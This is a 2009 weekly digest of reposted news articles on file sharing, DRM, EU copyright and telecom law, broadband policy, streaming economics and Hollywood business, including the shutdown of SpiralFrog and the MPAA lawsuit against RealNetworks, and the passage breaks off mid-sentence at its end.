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Peer-To-Peer News - The Week In Review - March 28th, '09
Since 2002
  "People are somewhat intimidated by the possibility of being sued by one of the music companies, even if they have a free lawyer, like us." – Fred von Lohmann "I hate horror movies but I feel an obligation to go see this." – Congressman Chris Murphy, D-CT "I was haunted. The neighborhood was haunted by the Snedeckers. That's the real haunting in Connecticut." – Darrell Kern Squeeze Play There’s a new music file in town and it’s gunning for a fat FLAC. Problem is – it’s even fatter. FLAC is of course lossless, and by definition reproduces a clone of source. It decodes easily, even on old equipment. It is also ubiquitous. Among those putting a premium on sound quality or who swap live bootlegs penetration is near 100%. It’s a great format for these reasons. The problem is size. It’s mastodon huge, on average nearly 2/3 that of a WAV file, and almost four times larger than the lossy but excellent MP3 lame-V0. Lossless APEs are slightly smaller, shrinking WAVs to about half their original size, but still quite elephantine. Really, if anything is going to eliminate either FLAC or APE it's not going to be something even bigger but this new mp3HD codec combo file from Thompson is just that: a brontosaurus, approaching 3/4 of a WAV and that’s growing the wrong way, particularly since the disadvantages of girth are not offset by any corresponding advances in sound quality for everyday players (see story below). Listeners might as well forget compression, lossless or otherwise and just go with easy-to-rip WAVs for all the good this dinosaur will do. The world wasn't waiting for this. But a new lossless file 1/3 the size of a WAV that plays easily? Different tune altogether and one I’d like to hear. Enjoy, Jack. March 28th, 2009  SpiralFrog DRM Music to Play 60 Days, Then Vanish Greg Sandoval SpiralFrog users can continue to play songs obtained from the now defunct company for two more months before they become inaccessible, according to a source close to the company. The ad-supported music service shuttered its Web site late Thursday evening and ceased operations, the source told CNET. Some customers of the service asked on Friday how long their music, which is wrapped in copy-protection software, will continue to play. A source familiar with SpiralFrog's operations said the service's digital rights management technology, designed to prevent unauthorized copying, will lock up the music indefinitely after 60 days. The songs could live again should SpiralFrog's assets be acquired and the new owner decide to relaunch the service, the source said. DRM critics will certainly cite this as further proof that the technology is anti-consumer. The software remains hugely unpopular among many music fans for limiting their ability to play songs on devices of their choice. The critics argue that a person never really owns DRM-locked music because they need server keys provided by service operators to unlock the songs. But Christopher Levy, a vocal proponent of the technology and considered one of the leading experts in the field, questioned whether customers should be angered about losing music they never paid a cent for. "(Protecting songs with DRM) was the only way that SpiralFrog could offer the model," Levy said. "The record labels refused to go to market without it. This was a very good business proposition for consumers. They received free music as long as they agreed to be bombarded by advertisements...I think it's hard to criticize the company...I think 60 days is very impressive." Levy, who owns the company BuyDRM, says consumers deal with DRM every day in ways they don't notice. The technology is improving and soon it will be even less obtrusive. The technology helps protects the rights of content creators, consumers, and technologists, he said. "When DRM is right in the middle of all three, that is where happiness is," Levy said. "Consumers are getting more comfortable with DRM and it isn't going away. It may need to change, but it's not going away." Antipiracy software is used by the film industry and by music subscription services, such as Napster and RealNetwork's Rhapsody. But in the past year, download sites like Apple's iTunes and Amazon have rejected copy-protection software with the blessing of the major record companies. The Federal Trade Commission on Wednesday is hosting a conference on the use of DRM at the University of Washington School of Law, said Levy, who will speak at the gathering. According to an FTC press release, DRM "is expected to become increasingly prevalent in the U.S. marketplace in the coming years" and address "the need to improve disclosures to consumers about DRM limitations." http://news.cnet.com/8301-1023_3-10201355-93.html  Police Raid Home of Wikileaks.de Domain Owner Over Censorship Lists Shortly after 9pm on Monday the 24th of March 2009, seven police officers in Dresden and four in Jena searched the homes of Theodor Reppe, who holds the domain registration for "wikileaks.de", the German name for wikileaks.org. According to police documentation, the reason for the search was "distribution of pornographic material" and "discovery of evidence". Police claim the raid was initiated due to Mr. Reppe's position as the Wikileaks.de domain owner. Police did not want to give any further information to Mr. Reppe and no contact was made with Wikileaks before or after the search. It is therefore not totally clear why the search was made, however Wikileaks, in its role as a defender of press freedoms, has published censorship lists for Australia, Thailand, Denmark and other countries. Included on the lists are references to sites containing pornography and no other material has been released by Wikileaks relating to the subject. Some details of the search raise questions: • Wikileaks was not contacted before the search, despite Wikileaks having at least two journalists which are recognized members of the German Press Association (Deutscher Presse Verband). • The time of at least 11 police detectives was wasted conducting a futile raid on the private home of volunteer assistant to a media organization. • Police asked for the passwords to the "wikileaks.de" domain and for the entire domain to be disabled. • Mr Reppe was not informed of his rights; police documentation clearly shows that box to be left unchecked. • Contrary to what is stated in the police protocol, Mr. Reppe did not agree to "not having a witness" present. Ultimately, Mr Reppe refused to sign the police documentation due to its inaccuracies. The raid appears to be related to a recent German social hysteria around child pornography and the controversial battle for a national censorship system by the German family minister Ursula von der Leyen. It comes just a few weeks after a member of parliament, SPD minister Joerg Tauss had his office and private house searched by police. German bloggers discussing the subject were similarly raided. Mr. Reppe sponsors the Wikileaks German domain registration and mirrors a collection of Wikileaks US Congressional Research Service reports but is not otherwise operationally involved. Mr Reppe is also maintainer of one of the most popular German Tor-proxy servers (morphium.info) but only the connection to Wikileaks was mentioned during the raid. Wikileaks.de and other Wikileaks domains were unaffected by the raid. Wikileaks is a non-profit project, sponsored by transparency groups and investigative journalists world wide. To support our defense of this and other cases, see http://wikileaks.org/wiki/Wikileaks http://wikileaks.org/wiki/Police_rai...orshi p_lists E.U. Telecom Law Set to Enshrine the Right to Information Efforts to clamp down on illegal downloaders appear to have lost out to citizens' rights champions in a telecom law debate Paul Meller A Europe-wide law forcing Internet service providers to cut subscribers off from the Internet if they illegally download copyright-protected music or movies isn't going to happen as part of an ongoing review of telecom rules, telecom commissioner Viviane Reding said in an interview. Speaking after lengthy negotiations Tuesday evening with members of the European Parliament and representatives of the 27 national governments of the European Union, Reding said that the issue of online piracy has yet to be resolved in the so-called telecom package of laws being updated to better suit the age of high-speed Internet. However, the question is whether to strengthen language enshrining citizens' rights to information, she said, and not the opposite. France, among other countries, is keen to use the telecom review as a way of introducing its three strikes law at a European level. The French law states that if you are caught illegally downloading copyright-protected music or movies three times, then you should be banned from the Internet. Related Content Some parliamentarians sympathetic to the French government's argument tried to replace a clause stating that "Internet access should not be denied as a sanction by governments or private companies" with another clause that "Internet access should not be abused for illegal activities." But most parliamentarians appear to oppose such a move, and many view the French law as draconian and contrary to citizens' rights to information. Reding said she agrees with them, and she described people's right to access information as a "fundamental right." "This debate about piracy is causing a big fight, but it has nothing to do with telecoms and should not be taking place in the telecoms review," she said. "But since MEPs want to strengthen citizens' rights in this area, I support that. I can't argue with a clause that reaffirms basic European values," she added. If a person is suspected of stealing copyright-protected material, then prosecutors "should first get a court order before telling the Internet service provider to cut the person's Internet connection," she said. France isn't alone in pushing for greater copyright protection online. The U.K. is also considering a similar idea to the French three strikes rule. However, instead of circumventing the courts, the U.K. approach appears to favor formal legal steps involving a judge. Both the French and the British rules are still being debated. French lawmakers will vote on aspects of the three strikes law at the end of this month, while a public consultation on the topic closes at the end of this week. Technology firms fear that the next step in fighting online piracy will be a requirement for them to include filtering software in their products that would make peer-to-peer file sharing and other illegal-content distribution techniques impossible. "We were hoping the lawmakers would introduce language into the telecoms package that would prevent member states from introducing such moves, and we are disappointed they didn't. That threat still remains," said Francisco Mingorance, an E.U. affairs specialist at the Business Software Alliance, a lobby group representing firms including Microsoft and Apple. http://www.networkworld.com/news/200...aw-set-to.html Feds Want Your Help With Broadband Policy Ryan Singel There's a bandwidth gap between the United States and the rest of the developed world that President Obama wants closed, and the feds are about to ask for help devising a plan to catch up to the Japans of the world. Epicenter will make it easy for you to be heard. The FCC announced Thursday that at its next open meeting, April 8, it will discuss a notice of inquiry — essentially an open call for comment on what the government's role, if any, should be in making the country richly wired and unwired. From there the FCC will draw out a broadband road-map report — due to Congress in less than a year under the rules of the stimulus package. From there, the money might really begin to flow. The drive is part of Obama's tech agenda, which calls for America to lead the world in internet access with "true broadband in every community in America [and] better use of the nation's wireless spectrum." It's a noble goal, but one that's unlikely to happen without some change. Broadband in Britain, Ireland, France, Japan and Korea is faster, cheaper and more popular than in the States. That's due to complicated regulatory, geographic, historical and economic issues. Or, it's because telecoms are greedy, it's too risky to bet billions on fiber, or the government hasn't funded needed infrastructure since the net went commercial in the early 1990s. It depends on who you talk to. One thing's clear — something is likely to change in how the feds fund, tax and subsidize IP-based communications. There's already $8 billion or so set aside to fund rural broadband programs. Here's your chance to weigh in. Epicenter will bundle up the best and most popular ideas and submit them to the FCC once it opens its calls for comments. Submit and vote as much as you like, though you can only submit a new idea every 15 minutes. http://blog.wired.com/business/2009/...need-your.html BT Reveals First Fibre Optic Broadband Rollout Plans MarkJ BT has revealed new information about the roll-out of its £1.5bn programme to deploy super fast fibre optic (Fibre to the Premise/Cabinet, FTTP/C) broadband to as many as 10 million UK homes (40%) by 2012 (original news). Scotland will become one of the first places to benefit from early next year, with more than 34,000 homes and businesses in Edinburgh and Glasgow receiving speeds of up to 40Mbps and potentially 60Mbps. Overall BT Openreach, which is responsible for ensuring that all rival operators have equality of access to BT's local network, aims to deploy Fibre to the Cabinet (FTTC) based next generation broadband services next summer (2010) to 500,000 homes and businesses in the UK. The next set of locations, serving a further 1 million homes and businesses, will be announced in the autumn. Quote:
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This represents the first major phase of the UK's biggest ever investment programme in super-fast broadband. In addition BT informs us that upload speeds will also reach up to 10Mbps, which is significantly faster than the 2Mbps seen at their Ebbsfleet trials of FTTP technology. Openreach is aware there are some premises that will not be able to be served by FTTC and they are currently looking at alternative solutions for those. Following this news we also asked BT when they’d be revealing more roll-out details for elsewhere in the UK and according to their press spokesperson, "the other UK sites are being revealed at 8am on Monday." Expect more details then. http://www.ispreview.co.uk/story/200...out-plans.html Detailing Netflix's Streaming Costs: Average Movie Costs Five Cents To Deliver Dan Rayburn While Netflix is not yet giving out a lot of details on their costs associated with their streaming video service, they have given out enough data for us to have a pretty good idea of their costs when it comes to their streaming delivery costs for the XBOX 360 and other devices. Here's what we do and don't know and how it all breaks down. We know that the average encoding rate for video streamed to the XBOX 360 is about 2000Kbps. That means one person watching a two hour movie would transfer roughly 1.8GB of data. For high definition movies, the average encoding bitrate is around 3200Kbps and one user would transfer about 3GB of data. Based on the high volume of movies Netlfix is doing each month, they are getting a very good rate in the market. I estimate they are paying on average about $0.03 per GB delivered across Limelight and Level 3 and potentially have even a slightly lower rate. Based on the three cents per GB assumption, that means it would cost Netflix about $0.06 to deliver one SD movie and $0.09 to deliver one HD movie. Those numbers would be about 25% lower if the length of the movie were ninety minutes instead of two hours. It would also be a little lower or higher depending on the exact bitrate since some movies are streamed higher and some lower and Netflix only has about 400 movies available in HD. Taking all that into consideration the average cost to Netflix to stream to the XBOX 360 is about five cents per movie. Streaming to the PC is a lot cheaper, about half that cost, as the bitrates are much lower. Based on those numbers, their streaming offering looks like it would save them tons of money and make them a lot more profitable since Netflix spends about 78 cents out and back for standard pre-sort first class mailing of their DVDs. But the one problem is that these streaming costs do not yet include the licensing costs from the content owners. It's the costs associated with licensing the content that really makes or breaks their streaming service, not the cost of bandwidth. I don't know what Netflix is paying to license content and many of their licensing deals are all at different prices. In other online video offerings I have seen content owners charge a one-time flat fee per video, a fee each time the video has been watched, a one time licensing charge for a specific number of plays or many various other licensing models. I've seen licensing costs as high as $4 per movie, per play, and I've seen pricing on the other end of the spectrum at a few pennies per play. That's why many of the content licensing deals Netflix has in place are a one time cost no matter how many movies are watched. While that works great for Netflix today, most of those licensing deals are not with major studios for first-run content. It's also interesting to note that Netflix's recommendation algorithm takes into account which movies have a cheaper licensing cost and makes those movies show up as recommendations more often. One of the major reasons that Netflix does not have a lot of new content in their streaming offering is the fact that the licensing costs for new content is so high. Studios are still greedy and Netflix simply can't afford to pay the costs associated with first run movies. Netflix's CEO had said many times that they are going to spend a lot of money this year to license content where the costs are "reasonable". That comment goes to show that much of the newer content is simply out of reach for Netflix, as well as others and that studios simply want too much cash. Over time, you would think the studios would get on board with this and license some newer content faster, but so far, they don't seem to want to. At some point, one of the major studios is going to break from the pack and give it a shot and test the waters, making it affordable for Netflix to offer some newer, first-run content. But right now, the studios think they don't need Netflix. I would not agree that that, but looking at the penetration rate Netflix has, it is very small. Netflix has ten million subscribers and while they and Microsoft said last month that "1 million Xbox LIVE Gold members have downloaded and activated the groundbreaking Xbox LIVE application from Netflix", they didn't say if those are paying Netflix members. With 48 hours free trail cards showing up in XBOX 360 games, we don't truly know how many paying customers are using the service. And as of January of this year, Microsoft had sold 11.2 million XBOX 360 consoles in North America. (Source: NPD) So if the penetration rate is only one mllion today, it's going to take years before it truly scales. And that's really what the movie studios care about, a large audience. I think it is short-sided thinking on the studios part, but I don't think anyone would disagree with me if I said it's not the first time the studios didn't get it. But the question remains, what is the total cost to Netflix to stream a movie? For some content Netflix has today, it's clearly cheaper than mailing out a DVD, but for other content, it's still more expensive based on the licensing costs. And with all the talk lately of Netflix wanting to some day offer a streaming only service, probably this year, running the numbers for such a service does not make a lot of economical sense. Lets say the average cost to stream and license a movie is $0.50. All it takes is one user streaming ten movies a month and Netflix's cost is five bucks. And with their cheapest DVD offering with unlimited streaming being $8.99 a month, how much can Netflix realistically charge for a streaming only service? Maybe $5.99? So far, the economics of a streaming only service don't work unless Netflix can get very good licensing terms and hope that users who don't stream a ton of movies each month make up for the ones that do. At this point it's a guessing game, although Netflix is already compiling some great data on what users are doing with streaming and what their consumption habits are. For now and some time to come, Netflix's streaming service is not going to generate revenue. Yes, Netflix does expect it to help retain customers and if that is all it does, that alone is worth the cost. With Netflix's churn being 4% last quarter, anything that helps keep churn down from their core business is very valuable and can generate a return. While Netflix said it spent around $40M for their online video offering in 2007 and most folks I spoke to said they thought Netflix spent twice that last year, clearly it appears as if Netflix is ramping up to spend close to $100M in 2009. The key thing I think people are missing is that Netflix's streaming service is not a substitute for their DVD business; it's a compliment to it. Over time, many years from now when broadband enabled TVs and Blu-ray players get some install base, things may change. But for the next few years, Netflix is not going to make money from their streaming service unless the financial benefit comes as a result to their core business. That said, what Netlfix is doing is exciting and I love the streaming service on my XBOX 360. Netflix is laying the ground work for the future and it's going to be really fun to see where they take this service a few years from now. We're all keeping a close eye on the financial impact streaming movies could have on their overall business. Stuidos, give them a chance! License some decent content already. http://blog.streamingmedia.com/the_b...am-movies.html Blockbuster and TiVo Join to Deliver Digital Movies Brad Stone With its lingering debt problems resolved for now, Blockbuster is pinning some of its hopes on a digital future. The struggling video rental chain will announce a partnership with TiVo on Wednesday to deliver Blockbuster’s digital movie library over the Internet directly to the televisions of people with TiVo digital video recorders. As with similar deals TiVo has struck to make digital video services from Amazon and Netflix accessible from its set-top boxes, no money will change hands between the companies. But Blockbuster also said it would sell TiVos at many of its 4,000 stores in the United States, taking a typical retailer’s cut of sales. The two companies plan a joint marketing campaign to promote the new service, which will start in the second half of the year. “We are excited to be teaming with TiVo, the company that created the DVR, to make Blockbuster’s entertainment content readily available to their millions of subscribers,” Jim Keyes, chief executive of Blockbuster, said in a statement. “Ultimately, our vision is to work with TiVo so that their subscribers can access movies not only through our On Demand service but also from our stores and through our by-mail service as well.” Blockbuster On Demand will be accessible only to the approximately 800,000 TiVo owners who have broadband Internet connected directly to their TiVo boxes. Joe Miller, a TiVo senior vice president, said that adding another recognized entertainment brand would help the company sell more devices. “Typically you will find consumers reward and appreciate companies and technologies that take an open approach to business, and that is what we are doing here,” he said. The company’s nemesis, Netflix, whose popular DVD-by-mail service has damaged Blockbuster’s core business, makes about 12,000 film and television programs available on the Web free to most of its subscribers. But those are often titles that are several years old. Blockbuster will offer a smaller selection of about 5,000 to 10,000 titles at any one time, mostly newer releases like “The Dark Knight” that will typically cost $3.99 to watch over a 24-hour period. The company already offers online rentals through the Movielink service it bought from a group of studios in 2007. Kevin Lewis, the senior vice president for digital at Blockbuster, said the deal with TiVo would be the first of many it would announce with major consumer electronics companies. The company appears to have time to forge those deals. It said last week that it had reached agreements with two of its largest lenders to extend its revolving credit line through September 2010. http://www.nytimes.com/2009/03/25/te...t/25video.html Why is Blockbuster Suffering? Simple, Says CEO Jim Keyes. Because the Movies Suck. Robert Wilonsky Shortly after Dallas-based Blockbuster reported a quarterly loss of $359.7 million yesterday, CEO Jim Keyes hopped on a conference call with analysts to reassure them that, look, all's not lost. And while there are myriad reasons for the current state of hurt ar 1201 Elm Street that has led to shares worth 80 cents today -- competition from Netflix, which is currently trading well above the $41 mark, and the set-top box's failure to launch so far -- Keyes had some not-especially-kind things to offer to the folks who stock Blockbuster's shelves. Seeking Alpha offers the earnings-call transcript in which Keyes says: Quote:
Hollywood Encourages Movie Piracy p2pnet The movie industry leaves no stone unturned in its quest to eliminate movie piracy, particularly illegal camcording in theaters, posts Ernesto in TorrentFreak. But, he says, it’s we, the public, who have to deal with the negative consequences and in some parts of the world, that means waiting for extra weeks, or even months, before a movie premieres. “Movie theaters nowadays are becoming more secure than some airports,” says the post, going on »»» Quote:
“It may have been possible to keep people and countries apart pre-Internet, but not any more. “People worldwide are closer together today than ever before - and only getting closer.” http://www.p2pnet.net/story/18839 Tribune Sues Warren Beatty Over Dick Tracy Rights Tribune Media Services has filed a lawsuit against Academy-award winning director and actor Warren Beatty to recover motion-picture and television rights to iconic comic-strip character Dick Tracy, according to court documents. In a Delaware court filing on Thursday, Tribune Media Services, a unit of bankrupt newspaper publisher Tribune Co, said Beatty "wrongly claims" to have exclusive motion picture and television rights to the well-known police detective character. According to court papers, Beatty bought the motion picture and television rights for Dick Tracy in 1985 and went on to act and direct the 1990 film by the same name. The movie won three academy awards and its cast included Dustin Hoffman, Madonna and Al Pacino. Tribune Co, however, said Beatty had "made no productive use" of the rights for over a decade, causing them to revert back to Tribune. The company said the economic benefits of the property was worth potentially millions to the company and its creditors. Both parties have been engaged in a legal battle over the rights since late 2006, according to court documents. In November, Beatty filed a suit against Tribune Media Services in California, claiming he had begun work on a Dick Tracy television special, which should preserve his rights to the character. Tribune, in its suit, said that the TV special being produced solely for the purpose of preserving Beatty's rights would not benefit either party, and that it does not believe Beatty has begun shooting the special in the manner that would be required under their agreement. A lawyer for Beatty was not immediately available. Tribune filed for Chapter 11 bankruptcy protection in December last year hurt by heavy debts and a decline in advertising. The bankruptcy case is In re: Tribune Co, U.S. Bankruptcy Court, District of Delaware, No. 08-13141. The California case is Warren Beatty v. Tribune Media Services Inc et al, No. 08-07662. (Reporting by Santosh Nadgir in Bangalore and Emily Chasan in New York) http://www.reuters.com/article/enter...52K18Y20090321 RealNetworks: 'We Didn't Think' MPAA Would Sue Over DVD Copying Software David Kravets RealNetworks told a federal judge on Monday it didn't think it would be sued by the Motion Picture Association of America for marketing DVD copying software. Seattle-based RealNetworks made the argument in federal court here as part its defense against allegations it purposely trashed evidence in a copyright lawsuit brought by the MPAA in September. The suit claims RealNetworks' RealDVD software is illegal and allows users to circumvent technology designed to prevent the copying of DVDs. RealNetworks made its surprising claim Monday because, under rules of evidence, companies must retain records if they believe they are going to be sued. The MPAA claims RealNetworks destroyed a host of documents relating to RealDVD's production -- well before the MPAA sued it in September. "We didn't think litigation was probable," Leo Cunningham, a RealNetworks attorney, told U.S. District Judge Marilyn Hall Patel during a brief hearing. The MPAA, however, usually sues any and all companies and individuals connected to what it perceives as a threat to the DVD. Its litigation tactics have defeated every BitTorrent tracker in the United States. Its sister group, the Motion Picture Association, helped the Swedish authorities bring criminal charges against four founders of The Pirate Bay. In the RealNetworks litigation, the studios allege in heavily redacted court documents that RealNetworks trashed a senior project manager's "engineering notebooks," an archive containing "actual code files" and other documents, one of which might reveal "Real's products are based in part on the work of … hackers." Regarding the notebooks, their disappearance is "a mystery," Cunningham told the judge during the brief hearing. He neither confirmed nor denied whether any other documentation was destroyed. Bart Williams, an MPAA attorney, told Patel that it was obvious the MPAA would sue RealNetworks. He said RealNetworks should have known as such, even from the time of the product's initial development two years ago. "This was not some theoretically possibility," Williams said. He also said, "They knew there would be a lawsuit." Patel did not hint at whether she would find RealNetworks violated rules requiring the retention of documents. The MPAA, which is known for its heavy hand at litigation, is seeking unspecified monetary sanctions and other penalties from RealNetworks as part of its lawsuit against the DVD copying software. A hearing on the lawsuit's merits is scheduled for next month. After days on the market and 3,000 copies of RealDVD sold, Patel blocked its distribution in October pending the outcome of the ongoing litigation. The MPAA alleges the product violates the Digital Millennium Copyright Act because it circumvents the content-scramble system license granted to RealNetworks by the DVD Copy Control Association. The Seattle company said its software does not circumvent encryption software in violation of the DMCA. The software allows users to store copies of movies on their hard drives, which the company says is a fair use allowed under the DMCA. A central dispute in the case concerns whether it is an circumvention violation for RealDVD to copy the DVD encryption into a computer hard drive that allows playback of the movie at any time absent the original disc. The MPAA says the content-scramble license requires that the keys to the encryption code must be read from the DVD while the DVD is inside the computer. http://blog.wired.com/27bstroke6/200...tworks-we.html Sci-Fi Thriller "Knowing" Tops Weekend Box Office The science-fiction adventure "Knowing," starring Nicolas Cage, grossed an estimated $24.8 million in its first three days in theaters to top the North American box office this weekend, according to studio figures on Sunday. "Knowing," which features Cage as an astrophysicist racing to save the world from impending doom, easily beat out two other movies opening in wide release -- the male-bonding comedy "I Love You, Man" and the spy thriller "Duplicity," co-starring Julia Roberts and Clive Owen. "I Love You, Man," featuring Paul Rudd and Jason Segel, opened at No. 2 with just over $18 million in U.S. and Canadian ticket sales estimated for Friday through Sunday. "Duplicity" was No. 3 with $14.4 million in receipts, according to numbers compiled by box office tracking service Media By Numbers. Last weekend's top movie, "Race to Witch Mountain," fell to fourth place with receipts of $13 million, while the superhero film "Watchmen" rounded out the top five at $6.7 million. (Editing by Eric Beech) http://www.reuters.com/article/enter...52J07V20090322 In Hollywood, the Easy-Money Generation Toughens Up Michael Cieply and Brooks Barnes In the bungalow offices here that house Steven Spielberg’s newly formed DreamWorks Studios, the swagger is suddenly being dialed back a notch or two. When the company reorganized itself as an independent operation a few months ago, Stacey Snider, a co-owner of DreamWorks and its chief executive, envisioned herself presiding over a grand new empire. It was a nice fantasy while it lasted. “You’re not presiding over anything,” Ms. Snider, 47, said that she had quickly realized. “You’re back in the trenches.” After riding two decades of almost nonstop growth from the cable and video revolutions, a new generation of Hollywood power players is finally being forced to test its mettle. These executives — consummate insiders who enlisted when young and worked their way up — now find themselves pushing 50 just as some brutal problems are pushing back: a collapse in DVD sales, a credit crisis that has curtailed financing for new movies, a group of corporate owners determined to pull more profits from studios to compensate for hard-hit publishing and broadcast television divisions. “These folks were born from a place where they knew no failure — all they could ever see was up, both for the business and their careers,” said Peter Guber, a former chairman of Sony Pictures who is now a producer and industry elder statesman. “Now they must confront the unsettling truth that failure is close at hand and that it’s on their backs to make sure that doesn’t happen.” To date, the current leaders have had to focus more intently on becoming masters of organizational behavior than rebooting businesses. “Consensus management is what they know,” said Mr. Guber. But as studios trim staff and producer deals, many are now hoping to emulate some of the entrepreneurial cowboys — David Geffen, Barry Diller and Michael Eisner come to mind — from the generation of moguls that preceded them. Inevitably, the sudden shift has set off soul-searching among the loose network of allies and adversaries who must rewire the industry in the short span before a next Hollywood generation comes along to replace them. They are tightening belts, lowering expectations and becoming occasionally more cutthroat, but also grappling with some unusually philosophic thoughts about a business for which they now have to fight. Rough and tumble is not in this generation’s DNA. Most hail from elite universities, in contrast to predecessors like Mr. Geffen or Mr. Diller, who had no college degrees. The co-chairmen of Universal Pictures, Marc Shmuger and David Linde, respectively attended Wesleyan and Swarthmore. Ms. Snider has degrees from the University of Pennsylvania and the University of California, Los Angeles, school of law. “You’re looking at a business that is recalibrating itself,” said Mr. Linde. The 49-year-old executive, who clambered into show business in the 1980s by way of Paramount’s New York-based legal department, added, “I don’t think we today know precisely how it’s changing.” Uncertainty breeds stress, even among friends. Last month, for instance, once-close relations between Universal and DreamWorks became strained after Ms. Snider’s company initiated talks, without giving Mr. Shmuger’s studio an expected heads up, about a distribution arrangement with Walt Disney Studios. “People are living in fear, and sometimes it manifests itself in bad behavior,” said Mr. Shmuger, 50, who started in the business during college as a freelance copywriter for movie posters, and who spoke recently of the general climate, not of a specific incident. “Darwinian” is one word Patrick Whitesell, a partner at the Endeavor talent agency, uses to describe the current landscape, while Chris Silbermann, president of International Creative Management, calls it “disorganized.” Both agreed that people who were formerly able to succeed by clinging to mediocrity suddenly find themselves without cover. “Everybody has to dig deeper than they ever have,” said Mr. Whitesell, who came up in television and now represents such stars as Christian Bale and Shia LaBeouf. “That means more creative deal-making, more complete understanding of the economics of the industry, more hard-edged business decisions.” Mr. Silbermann said: “The only way to survive is to get beyond the knee-jerk resistance to change. What’s scary is that a lot of people in the movie business aren’t admitting that to themselves yet.” A number of executives and agents declined to be interviewed for this article, citing concerns about competitors or corporate overseers. Among those who preferred not to speak were Richard Lovett, 48, and Bryan Lourd, 49, both of whom are managing partners at the Creative Artists Agency; Rob Moore, 46, the vice chairman of the Viacom-owned Paramount under Brad Grey, who turns 52 this year; and Jeffrey Robinov, the 50-year-old president of the Warner Brothers Pictures Group, which is owned by Time Warner. They follow a generation of heavyweights who, having come of age with less to lose in the tough economic climate of the 1970s, were more willing to speak openly about their dilemmas. Mr. Lourd and Mr. Lovett were understudies to Michael Ovitz, a highly public superagent who helped to found Creative Artists. Mr. Robinov has climbed rungs under Barry M. Meyer, the eloquent chairman of Warner Brothers who has more than 40 years of show business experience on his résumé. The people who did speak acknowledged that many outside the glamour industry have it much worse. Hollywood is manufacturing one of the only products consumers are still lining up to buy, evidenced by a surge in box office revenue since December. That uptick is not nearly enough to offset the decline in DVD sales, but other businesses — online streaming, mobile, video-on-demand — are expanding and could pick up the slack. “I look at it as growing pains,” said Donald De Line, 50, a Disney and Paramount executive who is one of the industry’s leading producers. “We’re going to figure it out, and the revenue streams will get healthy again. That’s the history of Hollywood.” Enduring financial pain is not why Kevin Misher, a 44-year-old producer who studied finance at the University of Pennsylvania, came to Hollywood. After making his mark as an executive at Universal and Sony, however, Mr. Misher last year lost the comfort of a Paramount producing deal when it was bought out by the studio during widespread cost-cutting. “You’re ultimately fending for yourself here,” said Mr. Misher. Like more than a few similarly aged “studio babies,” he now operates from an office far removed from the company lots, but is still feeding the system films like “Public Enemies,” a gangster drama directed by Michael Mann scheduled for release by Universal in July. But he, too, sees an upside: The tough operating environment has forced producers like himself and Ms. Snider deeper into the moviemaking process. “This is what you love to do, get on with it,” Ms. Snider recalls telling herself lately, even as DreamWorks was scrambling to complete financing arrangements that would let it get another round of films in production. Ms. Snider added that she and the rest of her generation — having figured out that the real prize is being in the game — might stay in it a bit longer than intended, instead of clearing the way for thirtysomethings awaiting their turn at the top. “They’re going to have to kick me out,” she said. http://www.nytimes.com/2009/03/23/bu.../23moguls.html Back to the Future in Hollywood Brooks Barnes Despite the feverish attention paid to box-office results each weekend, Hollywood stopped relying on multiplex screens to make money a long time ago. For more than a decade, a motion picture's caboose — DVD sales — has been the driver of its profitability. The DVD money has been so big that studio decisions about whether to make a movie have sometimes gone like this: Is this film going to draw interest at the box office? We're not sure? Well, if it's only a modest success, that's O.K. We can count on consumers to toss the DVD into their shopping carts. Now that train is reversing. Business at the multiplex is going gangbusters. U.S. ticket sales are up 14 percent this year over the same period in 2008, according to the tracking firm Media by Numbers. Box-office results in some non-U.S. markets, which are increasingly important for the Hollywood studios, have also been strong, despite the worsening global economic situation. But according to studios, sales for some new-release DVDs are down a jaw-dropping 40 percent, hammered by the recession, a saturated market and a shift to Internet downloads. At least for the moment, Hollywood is heading back to the days when the theatrical run of a film was actually important for more reasons than serving as a marketing platform for home video. "There is no more downside protection for producers in the video marketplace," said Ingo Vollkammer, a co-founder and a co-chief executive of Leomax Entertainment, an independent production and film finance company. "Movies today need to be theatrically driven." Studios, of course, are not giving up on DVDs; home video is still a huge business. But the movie capital is starting to acknowledge that it has no idea what the immediate future will look like — maybe DVD sales will perk up in a few months, or maybe high-definition Blu-ray discs will finally make a breakthrough, or maybe the whole thing is dead as video-on-demand services take root. So producers are being leaned on to make a different type of movie. "Anything that can drive the audience to the theaters has an easier time getting made now," said Kevin Misher, a former Universal and Sony executive who is now a leading independent producer. In addition to big "tent pole" blockbusters, this means movies that are fun to watch in groups: at least 10 musicals are in full-steam-ahead development, including a remake of "My Fair Lady." And it means more pictures that are pre-branded: "Monopoly" and "Candy Land," movie versions of the board games, are on the way. Most of all, it means a strong return by major studios to middle-of-the-road, genre pictures. When executed correctly, Hollywood genre films — inexpensive movies that honor cinematic rules instead of defying them and stick to carefully defined categories — have tended to snag more than enough viewers to justify their modest cost. And lately they have been on fire. Hollywood insiders recoiled at the Sony film "Paul Blart: Mall Cop" until it started printing money at the multiplex. So far, this screwball comedy, made for $26 million, has sold $138 million in tickets, and it is still playing. But the movie that has other studios the most envious is "Taken," a genre film from 20th Century Fox about a former C.I.A. agent on a quest to save his kidnapped daughter. It was produced for about $33 million and has sold $127 million in tickets — and counting — since its release Jan. 30. This middle ground once represented the meat of the movie business but receded over the past decade as the industry pursued the fringes of the market — tiny specialty films and blockbusters — because of the huge DVD upside, among other things. Generally speaking, the middle just wasn't where the smartest people wanted to play. The pendulum shift back to the big screen is changing that. "Taken" was directed by Pierre Morel, a Frenchman who is ascending rapidly on Hollywood's hot-new-thing list. Mr. Misher is behind "Public Enemies," a big-budget gangster movie starring Johnny Depp and Christian Bale that is set for a July U.S. release. But first he has "Fighting," a genre film being released in the United States by Universal on April 24. It stars Channing Tatum as a young counterfeiter who is introduced to underground street fighting by a scam artist (Terrence Howard). Even the high-brow Miramax ("Doubt") and Fox Searchlight ("The Wrestler") appear to be tilting more heavily toward the pack-'em-in middle. Miramax is about to release "Adventureland," a teenager comedy billed as a romp on par with "Superbad" from 2007. Fox Searchlight is rolling out "Miss March," about a guy in search of his virginal high-school sweetheart, who has become a centerfold model. Marc Abraham, the director of "Flash of Genius," about the inventor of the intermittent windshield wiper, sees high-brow as a hard sell. "The sweat factor these days is pretty high for anything that isn't a sure sell on screen," he said. "Flash of Genius" was cheered by critics but not by the box office. For now, Mr. Abraham, also a successful producer, is shelving his idea about a Hank Williams biopic. Instead, he is pursuing a prequel to "The Thing," the 1982 John Carpenter movie about scientists in the Antarctic who are confronted by a shape-shifting alien. "There's some brand potential there that the studio can tap into," Mr. Abraham said. In addition to coming up with a different type of movie, producers are also having to build them differently — namely, with less 